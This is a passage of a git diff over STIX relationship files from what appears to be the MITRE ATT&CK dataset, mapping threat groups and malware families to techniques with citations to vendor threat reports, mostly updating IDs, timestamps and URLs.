             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--9cef6fec-e4eb-49eb-85db-880138f335bd.json b/enterprise-attack/relationship/relationship--9cef6fec-e4eb-49eb-85db-880138f335bd.json
index 33814ffce3..ae821c0997 100644
--- a/enterprise-attack/relationship/relationship--9cef6fec-e4eb-49eb-85db-880138f335bd.json
+++ b/enterprise-attack/relationship/relationship--9cef6fec-e4eb-49eb-85db-880138f335bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1142b67-26c4-4392-94e5-4c1ab9eb84e4",
+    "id": "bundle--41e39707-eb17-492d-8275-0300ef5aeb1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9cef6fec-e4eb-49eb-85db-880138f335bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover copies files from removable drives to <code>C:\\system</code>.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef.json b/enterprise-attack/relationship/relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef.json
index 8b5e4f38c3..e1dde76410 100644
--- a/enterprise-attack/relationship/relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef.json
+++ b/enterprise-attack/relationship/relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--249765d1-a193-4c96-9986-96eef4088e03",
+    "id": "bundle--69188f2e-5a82-43f4-aa6a-3f06864cc4b1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka encodes C2 traffic with Base64.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7.json b/enterprise-attack/relationship/relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7.json
index 0488ed3717..8601037d1a 100644
--- a/enterprise-attack/relationship/relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7.json
+++ b/enterprise-attack/relationship/relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d79f40f-ffe2-4e2b-8f67-9d779521c51f",
+    "id": "bundle--731bb134-f60e-4c7b-9c36-63a034f889d2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
diff --git a/enterprise-attack/relationship/relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b.json b/enterprise-attack/relationship/relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b.json
index de43a730ff..a7983c8712 100644
--- a/enterprise-attack/relationship/relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b.json
+++ b/enterprise-attack/relationship/relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aaff85bf-43d0-4868-9446-eee90d545b66",
+    "id": "bundle--435182fc-f720-4a9a-988c-180a20618adb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f",
             "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
diff --git a/enterprise-attack/relationship/relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6.json b/enterprise-attack/relationship/relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6.json
index c6ed9d4106..38340150c7 100644
--- a/enterprise-attack/relationship/relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6.json
+++ b/enterprise-attack/relationship/relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b71a7b3-1b99-4097-8d2f-e94ceecdd357",
+    "id": "bundle--6611edde-46d8-48d3-b0e8-eca837105312",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM uses HTTP for C2.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
diff --git a/enterprise-attack/relationship/relationship--9dfb7899-20af-4eea-bfca-f608d885cb00.json b/enterprise-attack/relationship/relationship--9dfb7899-20af-4eea-bfca-f608d885cb00.json
index ee520e9b91..83bd56beb3 100644
--- a/enterprise-attack/relationship/relationship--9dfb7899-20af-4eea-bfca-f608d885cb00.json
+++ b/enterprise-attack/relationship/relationship--9dfb7899-20af-4eea-bfca-f608d885cb00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4e035fca-8e13-4985-ae53-01cc9241807d",
+    "id": "bundle--719562a0-6a41-44bb-a8f0-ae1b8ec9d310",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9dfb7899-20af-4eea-bfca-f608d885cb00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover running processes using the <code>tasklist /v</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8.json b/enterprise-attack/relationship/relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8.json
index b391c4b1ed..e353ccbfb1 100644
--- a/enterprise-attack/relationship/relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8.json
+++ b/enterprise-attack/relationship/relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5703607c-193d-41ee-b9d7-ca4ec69c7f0f",
+    "id": "bundle--64688874-c010-4526-adc5-4b4ffd4166ce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP identifies files with certain extensions and copies them to a directory in the user's profile.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
diff --git a/enterprise-attack/relationship/relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f.json b/enterprise-attack/relationship/relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f.json
index f3ad3fc95e..3e4387e295 100644
--- a/enterprise-attack/relationship/relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f.json
+++ b/enterprise-attack/relationship/relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--87980c8e-e9fe-410a-a30a-a47499963697",
+    "id": "bundle--8bdb5dc6-4198-4583-bbea-dfb92e6e9662",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain a list of users.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--9e77b81d-6298-4233-8baa-f419031a9d64.json b/enterprise-attack/relationship/relationship--9e77b81d-6298-4233-8baa-f419031a9d64.json
new file mode 100644
index 0000000000..2f02adb73f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9e77b81d-6298-4233-8baa-f419031a9d64.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5c78b568-7c41-4609-b4fa-12d7664ff318",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9e77b81d-6298-4233-8baa-f419031a9d64",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.",
+            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
+            "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
+            "external_references": [
+                {
+                    "source_name": "FireEye FIN7 April 2017",
+                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9e90e4a5-844c-4516-9044-6f35bbf27806.json b/enterprise-attack/relationship/relationship--9e90e4a5-844c-4516-9044-6f35bbf27806.json
index d4403cd412..2e300915bd 100644
--- a/enterprise-attack/relationship/relationship--9e90e4a5-844c-4516-9044-6f35bbf27806.json
+++ b/enterprise-attack/relationship/relationship--9e90e4a5-844c-4516-9044-6f35bbf27806.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--30a56a83-c5a8-4162-979e-c5db1a358818",
+    "id": "bundle--cf50757f-d1be-470c-a208-f30cb1c7ce46",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9e90e4a5-844c-4516-9044-6f35bbf27806",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim. The bootkit shares code with some variants of BlackEnergy.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806.json b/enterprise-attack/relationship/relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806.json
index 1b01c3203d..7b1962fd82 100644
--- a/enterprise-attack/relationship/relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806.json
+++ b/enterprise-attack/relationship/relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3804ed18-5af9-4750-9138-862356a8ddce",
+    "id": "bundle--cefcd8a8-b891-4d7f-9969-24b30a696118",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
diff --git a/enterprise-attack/relationship/relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a.json b/enterprise-attack/relationship/relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a.json
index 60377cb21f..7fbd6bb271 100644
--- a/enterprise-attack/relationship/relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a.json
+++ b/enterprise-attack/relationship/relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae8804ba-678f-45cc-b8ab-701807b18d2a",
+    "id": "bundle--f1f04e83-4744-4d8e-8172-365b564c5d11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover network configuration details using the <code>arp -a</code>, <code>nbtstat -n</code>, and <code>net config</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54.json b/enterprise-attack/relationship/relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54.json
new file mode 100644
index 0000000000..e3733c0d11
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4adbc3b6-97dc-4668-af0e-a88bcd7eb3ea",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used at and schtasks to register a scheduled task to execute malware during lateral movement.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9ef645ab-afd1-41d6-ad60-d207fd134748.json b/enterprise-attack/relationship/relationship--9ef645ab-afd1-41d6-ad60-d207fd134748.json
index 0acda77b11..5e1315a3c9 100644
--- a/enterprise-attack/relationship/relationship--9ef645ab-afd1-41d6-ad60-d207fd134748.json
+++ b/enterprise-attack/relationship/relationship--9ef645ab-afd1-41d6-ad60-d207fd134748.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68101da7-fbbe-4b5e-9dc9-33c82b837deb",
+    "id": "bundle--10f2b11b-b9ca-4a2a-b3b2-f1ad28acea29",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9ef645ab-afd1-41d6-ad60-d207fd134748",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses HTTP and HTTPS for C2.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b.json b/enterprise-attack/relationship/relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b.json
new file mode 100644
index 0000000000..58cdfca1b5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--81524908-a0d9-4c09-b15a-0dec7b398770",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9f496c45-eac5-464f-858b-ef481f2f37ff.json b/enterprise-attack/relationship/relationship--9f496c45-eac5-464f-858b-ef481f2f37ff.json
index 0c5565c94f..1c98ab1e51 100644
--- a/enterprise-attack/relationship/relationship--9f496c45-eac5-464f-858b-ef481f2f37ff.json
+++ b/enterprise-attack/relationship/relationship--9f496c45-eac5-464f-858b-ef481f2f37ff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b48f3a75-21a4-4544-9010-16a64083bd46",
+    "id": "bundle--9acccb6b-2246-49d1-a322-6207ef628923",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9f496c45-eac5-464f-858b-ef481f2f37ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can enumerate registry keys.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--9f618c0f-79b8-4990-a02b-6e3187b14033.json b/enterprise-attack/relationship/relationship--9f618c0f-79b8-4990-a02b-6e3187b14033.json
new file mode 100644
index 0000000000..f4389503e0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9f618c0f-79b8-4990-a02b-6e3187b14033.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6cdfb9b3-4333-417b-bb1b-8de878d4d935",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9f618c0f-79b8-4990-a02b-6e3187b14033",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has used command line during its intrusions.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5.json b/enterprise-attack/relationship/relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5.json
index a4ccd4058d..3c785753bc 100644
--- a/enterprise-attack/relationship/relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5.json
+++ b/enterprise-attack/relationship/relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8407f2b4-37e4-427f-b08a-5f29d090ebb6",
+    "id": "bundle--1f53cbe6-60b0-4309-bead-c925302eb6fa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
             "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
diff --git a/enterprise-attack/relationship/relationship--9f653750-2ee6-4d00-906b-c71f1d217288.json b/enterprise-attack/relationship/relationship--9f653750-2ee6-4d00-906b-c71f1d217288.json
new file mode 100644
index 0000000000..bb00daf8d9
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9f653750-2ee6-4d00-906b-c71f1d217288.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5e456983-19f8-487b-9cb7-4dd19cd97296",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9f653750-2ee6-4d00-906b-c71f1d217288",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the system information, including hostname and OS version, and sends it to the C2 server.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9f852541-3fc7-4036-9268-7bc6bfe94900.json b/enterprise-attack/relationship/relationship--9f852541-3fc7-4036-9268-7bc6bfe94900.json
index 90e68173a0..ac6163e3ff 100644
--- a/enterprise-attack/relationship/relationship--9f852541-3fc7-4036-9268-7bc6bfe94900.json
+++ b/enterprise-attack/relationship/relationship--9f852541-3fc7-4036-9268-7bc6bfe94900.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cc88fb51-2409-4e30-8df7-1899f8f335f2",
+    "id": "bundle--65ca5fd1-d3cf-4bf7-9f23-1db9cf037f04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9f852541-3fc7-4036-9268-7bc6bfe94900",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab uses port 8080 for C2.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
diff --git a/enterprise-attack/relationship/relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548.json b/enterprise-attack/relationship/relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548.json
index b2d9a962ff..d64297daac 100644
--- a/enterprise-attack/relationship/relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548.json
+++ b/enterprise-attack/relationship/relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c14bacac-27e1-48f6-95a8-e2d24e5d260f",
+    "id": "bundle--e56a5808-d21b-4651-9fe5-8ee8ba610b36",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to delete files.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
diff --git a/enterprise-attack/relationship/relationship--9fef204f-163a-4c9d-b9b1-8a168074063a.json b/enterprise-attack/relationship/relationship--9fef204f-163a-4c9d-b9b1-8a168074063a.json
index 2ce6d02358..b16900b575 100644
--- a/enterprise-attack/relationship/relationship--9fef204f-163a-4c9d-b9b1-8a168074063a.json
+++ b/enterprise-attack/relationship/relationship--9fef204f-163a-4c9d-b9b1-8a168074063a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--28eed4fa-0e25-4773-9902-7e4fddb86c9b",
+    "id": "bundle--269ed651-ad38-432a-aa9a-4ba48600274d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9fef204f-163a-4c9d-b9b1-8a168074063a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to display network connections: <code>netstat -ano >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
diff --git a/enterprise-attack/relationship/relationship--a00d3582-7c2d-45dc-8580-1de25356ae70.json b/enterprise-attack/relationship/relationship--a00d3582-7c2d-45dc-8580-1de25356ae70.json
index 8280c065b8..5bf173d431 100644
--- a/enterprise-attack/relationship/relationship--a00d3582-7c2d-45dc-8580-1de25356ae70.json
+++ b/enterprise-attack/relationship/relationship--a00d3582-7c2d-45dc-8580-1de25356ae70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
